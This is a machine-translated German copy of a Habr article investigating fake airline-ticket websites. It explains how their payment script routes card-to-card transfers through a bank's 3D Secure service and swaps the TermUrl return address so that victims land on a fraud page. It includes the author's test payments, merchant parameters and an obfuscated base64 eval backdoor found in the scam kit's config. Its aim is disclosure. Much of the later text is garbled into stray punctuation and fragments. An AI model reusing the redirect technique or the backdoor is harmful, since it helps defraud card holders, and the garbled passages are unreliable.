<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

HTML-Code der Seite, nachdem er einen Teil des Textes unter dem Spoiler ersetzt hat. Der Code wurde während des Tests erhalten, indem die Variable $ pp in eine Textdatei geschrieben wurde. Zeile 174 des Skripts payp2p.php.

Sicherer 3D-HTML-Seitencode nach dem Ersetzen einer Zeichenfolge
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

Kurz gesagt, im HTML-Code der 3D Secure-Seite (in diesem Beispiel von Sberbank) die Zeile:

<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">

Programmgesteuert ändert sich zu:

<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">

Die Ersatzzeichenfolge ist die Adresse der Seite, an die die ausstellende Bankkarte des Absenders nach Überprüfung des 3D Secure-Codes den Benutzer zurückgeben soll. Bevor das Skript die Zeile ersetzte, wurde die Promsvyazbank-Website als Absenderadresse angegeben. Nachdem das Skript die Zeile ersetzt hat, wird bereits eine Seite auf der betrügerischen Website als Absenderadresse angegeben.

Ich verstehe nicht genau, an welchem ​​Punkt die Absenderadresse ersetzt wird, aber es funktioniert. In diesem Moment, in dem der Browser die https-Seite von Sberbank mit der Aufforderung zur Eingabe des 3D Secure-Codes anzeigt, gibt es keine Absenderadresse für eine Site, wenn Sie den Quell-HTML-Code der Seite im Browser anzeigen. Der HTML-Code dieser Seite hat eine Länge von mehr als 400 Zeilen und unterscheidet sich vollständig vom HTML-Code der oben dargestellten Sberbank-Antwortseite, der durch Schreiben der Variablen $ page (Zeile 166) und $ pp (Zeile 174) auf die Festplatte erfasst wurde.

Wenn Sie den falschen 3D Secure-Code eingeben, zeigt Sberbank auf seiner Seite eine Meldung an, dass der Code falsch ist, und sendet eine weitere SMS. Sobald der richtige Code eingegeben wurde, wird er zur Zahlungsstelle oder zur Ersatzstelle umgeleitet. Das heißt, die Umleitung zur Zahlungsstelle selbst impliziert wahrscheinlich, dass von der Sberbank alle erforderlichen Verfahren abgeschlossen wurden. Die Sberbank dient hier als Testbeispiel. Die Überweisung kann auch über eine andere Bank erfolgen.



Von der Seite des „Ticketkäufers“ sieht es so aus. Der Käufer gibt bei einer vorbereiteten Zahlungsweise seine Kartennummer ein. Danach wird die 3D Secure Code-Bestätigungsseite fast sofort angezeigt und eine SMS mit einem Bestätigungscode kommt an. Die 3D Secure-Seite im Browser wird auf der Website der Bank des Kartenherausgebers des Käufers unter Verwendung des HTTPS-Protokolls angezeigt. Die Seite mit dem Formular zur Eingabe der Kartennummer sieht möglicherweise verdächtig aus, aber die 3D Secure-Bestätigung auf der Website Ihrer Bank lässt keinen Zweifel oder Verdacht aufkommen.

Achten Sie übrigens auf die Signatur „Ticket Pay“ in der Zeile „Description“ auf der 3D Secure-Seite von Sberbank. Diese Signatur wird im Skript payp2p.php festgelegt. In zukünftigen Beispielen werden wir versuchen, dies zu ändern.

Kommen wir zurück zum Testen.

Ich habe den Code per SMS auf der Sberbank-Seite eingegeben und nach dem Klicken auf die Schaltfläche "Senden" eine Warnung erhalten, dass die Daten über eine unsichere Verbindung gesendet werden.



Nachdem ich bestätigt hatte, dass ich mit dem Senden von Daten über eine unsichere Verbindung einverstanden bin, wurde ich zur



Seite /sus.php?cd=… weitergeleitet . Dies ist die Rückgabeseite. Die Absenderadresse wird im Skript festgelegt. In diesem Fall wurde die Seite nicht gefunden. Der Grund ist jedoch klar: Die Rückseite wurde nicht im Voraus vorbereitet.

Obwohl das Ziel fast erreicht war, ging das Geld von Karte zu Karte wirklich nicht vorbei . Es gab keine zusätzlichen SMS mit der Information, dass die Zahlung abgelehnt wurde usw.

Ich entschied, dass der Grund für den Fehler beim ersten Versuch darin bestand, dass die lokale Site (localhost) an einer unsicheren http-Verbindung und die Sberbank-Site an einem sicheren http-Protokoll arbeitete. HTTP und https sind nicht sehr freundlich miteinander. Dies erklärt übrigens, warum die im ersten Teil der Veröffentlichung beschriebenen betrügerischen Websites eine sichere https-Verbindung verwendeten, wenn auch mit dem einfachsten Zertifikat.

Um diese Annahme zu überprüfen, musste ich das https-Protokoll auf der lokalen Site konfigurieren. Zu diesem Zweck wurden eine lokale p2p.localhost-Domäne und ein selbstsigniertes Zertifikat erstellt. Infolgedessen sah die neue Adresse mit dem Testskript folgendermaßen aus:

https://p2p.localhost/payp2p.php

Außerdem wurde im Skript die Adresse der Seite geändert, an die die Rückgabe nach Eingabe des 3D Secure-Codes eingegeben wurde. Die Rückseite selbst wurde ebenfalls vorbereitet.

Wir versuchen erneut, eine Zahlung bereits mit einer lokalen Site zu leisten, die über das https-Protokoll funktioniert.

Wenn Sie zum ersten Mal eine Verbindung herstellen, schwört der Browser natürlich auf die falsch konfigurierte sichere Verbindung. Dies liegt an der Tatsache, dass wir ein selbstsigniertes Zertifikat haben.



Da die Quelle des Zertifikats bekannt ist, fügen wir es den Ausnahmen hinzu.



Das ist alles. Jetzt wird die Verbindung über https hergestellt und beim Wechsel von der Sberbank-Website verschwinden die Warnungen.



Nach Eingabe des 3D Secure-Codes erfolgt die Rückkehr zur speziell vorbereiteten Seite korrekt.



Alles funktioniert gut, außer dass Geld nicht wirklich funktioniert . Infolgedessen musste ich mehrere Tage lang testen und suchen, was der Grund sein könnte.

Ich hatte nur einen Teil der Dateien, die auf einer der betrügerischen Websites für Flugtickets verwendet werden. Unter den Dateien, die mir gesendet wurden, befand sich eine file.php-Datei. Dies ähnelt dem oben analysierten Skript. Dem Code nach zu urteilen, wurde es wahrscheinlich nicht erstellt, um Besucher auf der „Kampfseite“ zu täuschen, sondern um von einem Programmierer-Entwickler die Möglichkeit zu testen, über den Dienst 3ds.payment.ru von einer Karte auf eine andere zu übertragen. Es ist unwahrscheinlich, aber theoretisch könnte es in den frühen Versionen betrügerischer Websites nicht nur zum Testen verwendet werden.

Ich habe versucht, eine Zahlung mit dem alternativen Skript "payment.php" vorzunehmen, und die Zahlung wurde beim ersten Mal ausgeführt.Die Bestätigung der erfolgreichen Zahlung wurde nur auf der Website 3ds.payment.ru angezeigt. Da dieses Skript funktioniert, kann der Grund gefunden werden, warum das erste Skript in der Beschreibung (payp2p.php) nicht funktioniert.



Vollständiger Skriptcode payment.php unter dem Spoiler

.

Beschreibung der Unterschiede zwischen den Skripten payment.php und payp2p.php
. .

payp2p.php POST . payment.php GET . , , :

https://p2p.localhost/payment.php?card_1=1111&card_2=2222...&cvc=999...&price=30...

, « ».

Payment.php payp2p.php MySQL. . .

Payment.php . , . , payp2p.php , , payment.php . TERMINAL=24043210, MERCH_NAME=PSB, MERCHANT=000601224043202, EMAIL=lakhtin%40psbank.ru, TRTYPE=8 ( TRTYPE . payp2p.php ).

— payment.php https://3ds.payment.ru/cgi-bin/is_3DS. {"IS_ACTIVE":"Y"} , ( 3D Secure).

. payment.php . , 3ds.payment.ru.

… , Firefox, «» payment.php («Firefox/3.0.3»), , , , . , 3.5 Firefox 2009 , 4 Firefox 2011, payp2p.php , «Firefox/38.0», 2016 — Firefox 49.

Dann gab es Versuche, das Skript payp2p.php zu reparieren, das aus irgendeinem Grund nicht funktionierte, um es zu reparieren, wobei das Arbeitsskript als Grundlage diente. Es wurden verschiedene Optionen ausprobiert. Alle Codeteile, die sich irgendwie auf die Arbeit auswirken könnten, wurden vom Arbeitsskript auf das nicht funktionierende übertragen. Unter anderem wurde versucht, eine zusätzliche Zwischenverbindung zu herzustellen https://3ds.payment.ru/cgi-bin/is_3DS; Ändern, Ein- und Ausschalten der Optionen cURL usw. Nichts half, die Steinblume kam nicht heraus.

Später, während des Tests, wurde beschlossen, Weiterleitungen in der letzten Phase von payp2p.php zu deaktivieren. Danach wurde es möglich, die Fehlermeldung der Promsvyazbank zu lesen. Screenshot des Fehlers unten. Nach einem erfolglosen Zahlungsversuch wird im Browser eine andere Seite angezeigt. Wenn Sie jedoch ein- oder mehrmals auf "Zurück" klicken, wird diese Seite angezeigt.


:

, .

: / (/)
, , /

Es gibt einige Einschränkungen hinsichtlich der Anzahl der Zahlungen von einer Karte pro Tag auf der Website der Promsvyazyazbank usw. Obwohl ich die Begrenzung der Anzahl der tatsächlichen Zahlungen nicht überschritten habe, ist es möglich, dass die Zahlungen aufgrund der großen Anzahl meiner Versuche zu einem bestimmten Zeitpunkt nicht ausgeführt wurden. (Um die Werte von Variablen während des Debuggens zu erfassen, habe ich den Zahlungsvorgang viele Male gestartet, aber nicht abgeschlossen.) Ich kenne den genauen Grund für diese Nachricht nicht. Bei jedem Versuch, ORDER_NUM und TIMESTAMP zu bezahlen, wird ein neuer verwendet. Sie sollten das Auftreten eines solchen Fehlers nicht beeinflusst haben. Obwohl die Karte, die ich für die Zahlung verwendet habe, eine erfolgreiche Zahlung durch ein alternatives script.php-Skript ging, wurde möglicherweise die Karte des Absenders oder des Empfängers in die Stoppliste aufgenommen.

Das Skript payp2p.php war bereits ein wenig wie sein ursprünglicher Zustand. Ich selbst begann verwirrt zu werden, was ich darin ersetzte und was nicht. Daher habe ich es auf seine ursprüngliche Form zurückgesetzt, außer dass in den letzten Zeilen die Umleitung der Umleitung auf die erfolgreiche Zahlungsseite deaktiviert war. Die Kartennummern des Absenders und Empfängers für nachfolgende Versuche wurden neu verwendet.

Mit Hilfe von payp2p.php stellte sich schließlich heraus, dass die Zahlung erfolgreich war.



Achten Sie auf die Unterschrift in der Zeile "Beschreibung".

Nach Eingabe des 3D Secure-Bestätigungscodes erfolgt die Rückkehr zur Promsvyazbak-Seite:



Empfangene SMS. Links von der Bank des Absenders. Rechts von der Bank des Begünstigten.



Sberbank, aus irgendeinem Grund, in SMS-Zeit GMT angegeben. Bisher habe ich dies in Nachrichten dieser Bank nicht bemerkt.

Wenn die Ersetzung der Rückgabeseite deaktiviert ist, wiederholen Sie die erfolgreiche Zahlung mit dem Skript payp2.php, das sich viele Male herausgestellt hat.

Ich habe versucht, mit anderen Karten zu bezahlen. Jede Bank stellt ihr 3D Secure-Formular aus. Dies ändert jedoch nichts an der Essenz.





Bitte beachten Sie, dass nicht alle Banken eine „zusätzliche Beschreibung“ in ihr Bestätigungsformular aufnehmen. In unserem Beispiel "Ticket bezahlen".

Es ist nicht erforderlich, sich an die Seite jeder Bank anzupassen. Obwohl die Formen unterschiedlich sind, ist der Mechanismus der Substitution für sie der gleiche. Jedes Formular nach der Zahlung enthält einen Link mit der Adresse der Seite, an die Sie zurückkehren möchten. Die Banken selbst, die 3D Secure-Überprüfungsformulare bereitstellen, werden höchstwahrscheinlich nicht an die „linke Site“ zurückgeschickt. Sicherlich gibt es einige Regeln, und Banken aus dem 3DS-Überprüfungsformular sollten zumindest zu derselben Domain zurückkehren, von der die Zahlungsanforderung empfangen wurde. (In unserem Fall unter 3ds.payment.ru). Die Bank, die den 3D Secure-Code überprüft, gibt bei korrekter Eingabe des Kennworts im HTML-Code der Seite die Adresse an, an die zurückgegeben werden muss, kann jedoch nicht mehr steuern, ob auf diese Seite zurückgekehrt werden soll.

Als Ergebnis aller Experimente war es möglich, das Skript payp2p.php über den Überweisungsdienst von Karte zu Karte der Promsvyazbank 3ds.payment.ru bezahlen zu lassen. Gleichzeitig musste ich das Ersetzen der Absenderadresse in den letzten Zeilen des Skripts deaktivieren. Wenn Sie das Spoofing der Adresse der Rückseite wie im ursprünglichen Skript aktivieren, wird derzeit kein Geld mehr ausgegeben. Die Seite zur Überprüfung von 3D Secure wird angezeigt. SMS mit "Passwort" wird gesendet; Das Bestätigungsformular springt nicht zum nächsten Schritt, wenn Sie das falsche Passwort eingeben. Nach Eingabe des richtigen "Passworts" wird auf eine gefälschte Seite weitergeleitet, aber das Geld geht nicht weiter.

Die Fälschung der Rückseitenadresse für eine erfolgreiche Zahlung ist ein sehr wichtiger Bestandteil für betrügerische Websites. Wenn der „Käufer von Tickets“ nicht den Verdacht hat, dass er getäuscht wurde, kann er nicht nur einen, sondern mehrere Ticketkäufe bezahlen und danach für eine lange Zeit (Tage und Wochen) keine aktiven Maßnahmen ergreifen, um die Zahlung zu stornieren usw. Wenn der Käufer nach dem "Bezahlen von Flugtickets" eine Bestätigung der Überweisung von Karte zu Karte erhält, wird er höchstwahrscheinlich die folgenden Zahlungen nicht mehr leisten, er wird sich viel schneller an seine Bank und möglicherweise an die Polizei wenden. Dies bedeutet, dass der Cashflow auf betrügerischen Websites reduziert wird, die Wahrscheinlichkeit, dass frühere Zahlungen storniert werden, steigt, Strafverfolgungsbehörden und Hosting-Mitarbeiter früher handeln und die Wahrscheinlichkeit, keine Zeit zu haben, gestohlenes Geld an einen sicheren Ort abzuheben, steigt.

Ich habe keinen Zweifel daran, dass dieses Skript auf einer Website für betrügerische Kämpfe verwendet wurde. Ich habe Grund zu der Annahme, dass es in der Form funktioniert hat, in der es mir zur Verfügung gestellt wurde. Derzeit funktioniert es nur eingeschränkt (keine Weiterleitungen).

Ungefähr drei Wochen nach Veröffentlichung des ersten Teils der Veröffentlichung, in der Betrüger erwähnt wurden, die den Card-to-Card-Überweisungsdienst der Promsvyazbank nutzen, nahm diese Bank einige Änderungen an ihrem Dienst vor, die ich für wichtig halte. Früher erhielten die Zahler beim Bezahlen über die Website der Promsvyazbank unverständliche SMS mit dem Text „P2P PSBANK“, jetzt jedoch SMS mit dem Text „CARD2CARD PSBANK.RU“. Selbst auf den ersten Blick reicht eine geringfügige Änderung der Entschlüsselung des Zahlungszwecks aus, damit einige potenzielle Opfer von Betrügern die Zahlung in der Bestätigungsphase stornieren können. Ich denke, dies ist kein Zufall, und die Änderungen wurden genau aufgrund der Veröffentlichung des Artikels auf GeekTimes vorgenommen.

Es ist wahrscheinlich, dass nach der Veröffentlichung des ersten Teils des Artikels zusammen mit der Änderung des Bestätigungstextes in SMS zusätzliche Anpassungen an den Algorithmen des Überweisungsdienstes von Karte zu Karte der Promsvyazbank vorgenommen werden könnten. Ich kann nicht 100% sagen, aber ich bin der Meinung, dass 3ds.payment.ru vor dem Service der Promsvyazbank mit hoher Wahrscheinlichkeit die Rückkehr der Benutzer zu ihrer Website nicht überprüft hat, nachdem der 3D Secure-Code auf den Websites von Banken, die Kartenzahler ausstellen, erfolgreich eingegeben wurde. Daher wurden Zahlungen auch dann ausgeführt, wenn betrügerische Skripte die Rückgabeseite veränderten.

Die Bank, die in dieser Publikation oft erwähnt wird, hatte Glück mit kostenloser Werbung. Ich denke, dass es in Wirklichkeit immer noch eine ausreichende Anzahl solcher Banken gibt. Es ist nur insofern glücklicher, als es zuerst für die Verwendung auf betrügerischen Websites und dann für die Analyse in diesem Artikel ausgewählt wurde. Wie sie sagen, gibt es keine gesunden Patienten, es gibt schlecht untersuchte Patienten.

Beim Schreiben dieses Artikels hat sich die Aufgabe, ein betrügerisches Kampfskript zu erstellen, nicht gelohnt. Die Aufgabe bestand darin, zu verstehen, wie es funktioniert oder funktioniert, um die Gründe zu verstehen, warum „Käufer von Flugtickets“ getäuscht werden könnten, und daraus Schlussfolgerungen zu ziehen.

Dieser Artikel wirft viele Fragen auf, bietet jedoch nicht alle Antworten. Ich bin sicher, dass es unter den Lesern eine ausreichende Anzahl fortgeschrittener Benutzer geben wird, die das klinische Bild genauer kommentieren und eine Diagnose stellen können. Ich für meinen Teil habe versucht, das Zeugnis so vollständig wie möglich zu präsentieren ...

Ein Teil der Veröffentlichung mit der Analyse des Zahlungsskripts ist abgeschlossen. Weitere Boni für diejenigen, die an diesem Ort lesen konnten.


Woher kommen billige Flüge auf betrügerischen Websites?

Im vorherigen Teil der Veröffentlichung wurde durch indirekte Zeichen gezeigt, dass Informationen über die Verfügbarkeit von Plätzen und Preisen programmgesteuert auf einer ehrlichen Website abgerufen, geändert und an den Benutzer ausgegeben werden.

Beispiel für Informationen zu Verfügbarkeit und Preisen auf einer betrügerischen Website


Jetzt haben wir die Möglichkeit, hinter die Kulissen zu schauen und zu sehen, wie dies im Programmcode implementiert ist.

Hier ist die Stelle im Code der betrügerischen Website, an der wir sehen, woher die Bilder und Preise für Flüge von betrügerischen Websites stammen.



Wie in dieser Reihe betrügerischer Websites zu erwarten, werden Informationen zu verfügbaren Plätzen auf einer ehrlichen Website abgerufen www.aviacassa.ru. Da die Anzahl der Fluggesellschaften und Flüge groß ist, ist es sehr schwierig, alle Bilder und Symbole in einer solchen Ausgabe im Voraus herunterzuladen. Links zu solchen Bildern werden direkt auf der ursprünglichen Website belassen.

Der Rabatt wird vom erhaltenen Originalpreis für Flugtickets abgezogen. Wie bereits gezeigt, kann der Eigentümer einer betrügerischen Website den Rabattbetrag beliebig festlegen. Der Rabattbetrag wird in der Datei aviacfg.php gespeichert.

Ein vollständigerer Code, der dafür verantwortlich ist, Informationen über die Verfügbarkeit von Sitzplätzen zu erhalten, Links zu Bildern zu erstellen und Preise unter dem Spoiler zu ändern.

Preisparser - ein vollständigerer Teil des Codes


Wir werden dieses Stück nicht Zeile für Zeile zerlegen, da nicht der Code selbst wichtig ist, sondern die Idee, wie und woher die tatsächlichen Daten auf Flugtickets für betrügerische Websites stammen.

Der alte Parser verwendete eine andere Site, um Daten



abzurufen : Tipp für das Ticketbüro (www.aviacassa.ru)- Sie müssen die Möglichkeit von Links zu Domain-Dateien von einem externen Referrer (verweisende Site) schließen. Diese Möglichkeit kann ausnahmslos für alle geschlossen werden, oder Sie können Ausnahmen nur für vertrauenswürdige Partner machen. Der NGINX-Webserver, der Aviacassa verwendet, macht dies einfach. Dieselbe Empfehlung für alle ähnlichen Websites, die als „Informationsspender“ verwendet werden können.

Wenn betrügerische Websites nicht direkt mit Bildern auf Websites wie Ticketschaltern verknüpft werden können, wird dies ihr Leben verkomplizieren. Die Anzahl der Logos und Bilder verschiedener Fluggesellschaften ist nicht im Voraus bekannt. Selbst wenn Sie versuchen, die Bilder im Voraus herunterzuladen, können Sie etwas überspringen, und die betrügerische Website sieht hässlich aus. Solche Sites müssen bei jeder Anforderung alle Bilder lokal auf den Server herunterladen oder zumindest prüfen, ob ein solches Bild zuvor in den "Cache" heruntergeladen wurde oder nicht. Dies erhöht die Belastung des Betrugsservers und verlangsamt das Rendern von Seiten. Darüber hinaus führt die Schließung der Möglichkeit, gleichzeitig direkt auf Bilder zu verlinken, dazu, dass alle aktuellen betrügerischen Websites, die Ticketbüroinformationen verwenden, nicht mehr funktionieren.

Natürlich werden Entwickler im Laufe der Zeit Patches erstellen. Da betrügerische Websites jedoch nicht zentral verwaltet werden und verschiedene Personen keine automatischen Software-Updates haben, muss jeder Eigentümer einer betrügerischen Website nach einer Möglichkeit zum Upgrade suchen. Jemand wird den aktualisierten Code finden, aber jemand wird ihn nicht finden und die Site funktioniert nicht mehr.

Das Ticketbüro kann auch ein separates Protokoll für solche Bilder enthalten, in dem Aufzeichnungen über alle externen Verweise (verweisende Websites) gespeichert werden. In wenigen Tagen erhalten Sie in diesem Protokoll eine Liste aller aktiven betrügerischen Websites. Dies ist sehr praktisch. Anstatt zu versuchen, jede Site einzeln zu finden, können Sie sie bitten, sich unabhängig in der Liste (Protokolldatei) zu registrieren.

Und wenn es lustige Administratoren an der Kasse gibt, können Sie einen Witz machen ...
- NGINX , , «» , URL , . . — « » , -, , , , .

Jemand könnte sagen, dass die Veröffentlichung solcher Artikel als Schulungsinstrument für Betrüger dient, und eine Frage stellen, warum ich sie hier gepostet habe. Ich antworte. Wenn es eine Möglichkeit gibt, Geld zu stehlen, basierend auf der Verwendung anfälliger oder unzureichend geschützter Software, von der zumindest einige wenige wissen und deren Ziel es ist, Geld damit zu verdienen, führt ein Versuch, solche Informationen zu verbergen und so zu tun, als gäbe es keine Probleme, nur dazu noch schlimmere Folgen. Betrüger setzen diese Methoden noch aktiver ein, während die Banken glücklich sind, weil sie regelmäßig die Provision für Dienstleistungen zahlen und ihnen Geld stehlen. Warum müssen Banken etwas ändern, wenn alles so gut ist? Von Zeit zu Zeit werden nur einige Internetnutzer getäuscht und verlieren Geld auf betrügerischen Websites. Aber wen interessiert das?

Meiner Meinung nach wird es für Betrüger im Laufe der Zeit viel schwieriger, Geld zu stehlen, wenn eine „knifflige“ Gelegenheit, Geld zu stehlen, einer sehr großen Anzahl von Menschen bekannt wird, und es wird für Organisationen, die es nutzen, unmöglich, Probleme zu ignorieren.

Das Skript payp2.php und eine Reihe von Dateien, die in einer Reihe von betrügerischen Websites für den Verkauf von Fluggesellschaften verwendet wurden, wurden mir vom Benutzer Frozenstorm gesendet . Ich weiß nicht, woher er es hat - richten Sie alle Fragen zu diesem Thema direkt an ihn.

Aber ich kann sofort sagen, dass es, wie sich später herausstellte, nicht schwierig ist, den vollständigen Satz von Quellcodes für betrügerische Websites zu finden, die Flugtickets verkaufen. Gesucht nach "gefälschten Flügen". Beide großen Suchmaschinen bieten Links auf der ersten Seite. Ein vollständiger Satz von Quellcodes kostet nur 25-30 Tonnen Rubel. Nachdem dieses Thema nicht mehr funktionierte, kosteten nicht funktionierende Quellcodes, die laut Verkäufer „einfach zu beenden“ sind, 10 Billionen. Nach den Nachrichten in den Foren zu urteilen, wird Version 2.0 vor kurzem angeblich wieder zu einem Preis von 25tr zum Verkauf angeboten.

Unten finden Sie ein Spoiler-Beispiel für den kostenlosen Verkauf des Quellcodes einer betrügerischen Website für den Verkauf von Flugtickets in einem der Foren.

Screenshot des Forums. (Ordentliche, sehr lange Bilder)

. (2/5)


. (3/5)


. (4/5)


. (5/5)



Im Forum, das im Screenshot gezeigt wird, werden Codes ähnlicher betrügerischer Websites, Kreditkarteninformationen, Passdaten, persönliche Informationen aus staatlichen Datenbanken offen verkauft und gekauft. Es wird vorgeschlagen, gefälschte Pässe, Führerscheine usw. zu erstellen. Dies ist zum Beispiel nur eine kurze Liste. Das heißt, Mit seltenen Ausnahmen gibt es andauernde Kriminalität. Gleichzeitig fungiert die Forumverwaltung als Garant zwischen Käufern und Verkäufern. Es gibt mehrere Foren wie dieses. Sie alle arbeiten jahrelang frei. Alle von ihnen werden von Suchmaschinen (Yandex, Google usw.) perfekt indiziert. Ich zitiere nicht die Adresse eines bestimmten Forums. Sie sind sehr leicht zu finden.

Da sich hinter jeder betrügerischen Website für den Verkauf von Flugtickets eine separate Person befindet, die den Quellcode der Website kostengünstig gekauft hat, können Sie in jedem Fall die verantwortliche Person finden, und dies muss getan werden. Nicht jeder Administrator einer solchen gefälschten Website ist ein Superprofi, dessen Spuren nicht gefunden werden können. Ich bin sicher, dass es unter solchen Admins genug gibt, die geerbt haben und, wenn sie die entsprechende Autorität haben, berechnet werden können. Aber meiner Meinung nach sollten Sie, anstatt zu versuchen, mit jeder gefälschten Site einzeln umzugehen, auf die Sites achten, auf denen die Quellen solcher gefälschten Sites frei verteilt sind.

Um betrügerischen Websites, die gefälschte Flugtickets verkaufen, einen vernichtenden Schlag zu versetzen, brauchen Sie nicht so viel. Wenn jeder ein wenig tut, wird dies das Leben von Betrügern erheblich verkomplizieren und die Frage nach der Ineffizienz der Führung eines solchen Geschäfts aufwerfen. Suchmaschinen müssen ein wenig aufpassen, um zu verhindern, dass solche Websites in Anzeigen gelangen. Es ist unrealistisch, solche Websites ohne Werbung in die Top-SERPs zu unterteilen. Außerdem sollten Suchmaschinen Websites ausschließen, die tatsächlich kriminelle Systeme kaufen und verkaufen. Die Banken müssen ein wenig auf ihre Zahlungsdienste achten, damit Betrüger sie nicht einfach nutzen können. Brauchen Sie ein wenig Aufmerksamkeit von den Gastgebern. Sie benötigen ein wenig Aufmerksamkeit von Zahlungssystemen. Lassen Sie zunächst keine Zahlungen zu, ohne 3D Secure zu überprüfen (wie im ersten Teil der Veröffentlichung gezeigt).es ist noch möglich). Brauchen Sie etwas Aufmerksamkeit von den Strafverfolgungsbehörden. Anstatt jeden Fall von Gelddiebstahl zu untersuchen, ist es effektiver, im Voraus zu handeln - um mit dem Nest umzugehen, in dem die Betrüger kommunizieren (analysieren Sie beispielsweise genau diese Schattenforen). Und natürlich brauchen Sie ein wenig Aufmerksamkeit von den potenziellen Käufern von Flugtickets selbst.

Sie sagen, dass Reparaturen nicht abgeschlossen werden können und nur gestoppt werden können. Diese Veröffentlichung ist ein ähnlicher Fall. Obwohl noch viel mehr geschrieben werden könnte, werde ich hier aufhören. Vielen Dank für Ihre Aufmerksamkeit. Ich freue mich über Ihre Kommentare.

PS Über Jackie Chan ... Sie können nicht lesen
, , , , .

, , , , - . . .

fon.png. , , . (merch) . .

. , - , . . .


VISA Mastercard (logo_standart_ru.png):



. , .

parser.php


.

, , , - . , -, «» . (config.php) , . . . . .



'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

.


, , , «» .

email
, EMAIL. :


3ds.payment.ru Lakhtin@psbank.ru.

, ? , - . , , Mastercard 3DS.

https://www.mastercard.us/content/dam/mccom/en-us/documents/SecureCode%20Vendor%20list/3ds-vendor-list-042215.pdf

Mastercard


email . - . - . .. - , , , - .

, email ? . , -, . , . . , , - - , , .

. , - - email . , , . , . , , , . - , , , email -, - . (, , .. ). , .. . . , -, . , , , , . . , -, , . , , , , .

? , . email , , . . - , - , .

?
, , «» 3ds.payment.ru, . , LaravelRUS , Curl 3ds.payment.ru.

, . ? ? ?
, , .







. . - .



:

» https://gitter.im/LaravelRUS/chat/archives/2016/05/06 — . .
» http://gitchat.org/developers/Valtas
» https://github.com/Valtas — Github
» https://www.fl.ru/tu/57770/parser-internet-magazina.html - .

, , — .

, . , . , .

http://forum.prootzyvy.org/forums/spisok-sajtov-moshennikov-po-prodazhe-aviabiletov.134/

336 . , . .



? , . . , . , , , .. , . , , . , - « » . ( ). - 5-10-20 .. , , , . (), , , .

. ?
. . , . , . «. ». , . , . . . .

, , . , , -, . , . , , .

, . , . , .

, , . - - . . , .



80 , . , . , . :



56 , « », , .
, , « », , .

:





- -. , . , . . , . , , , .

Source: https://habr.com/ru/post/de398313/


All Articles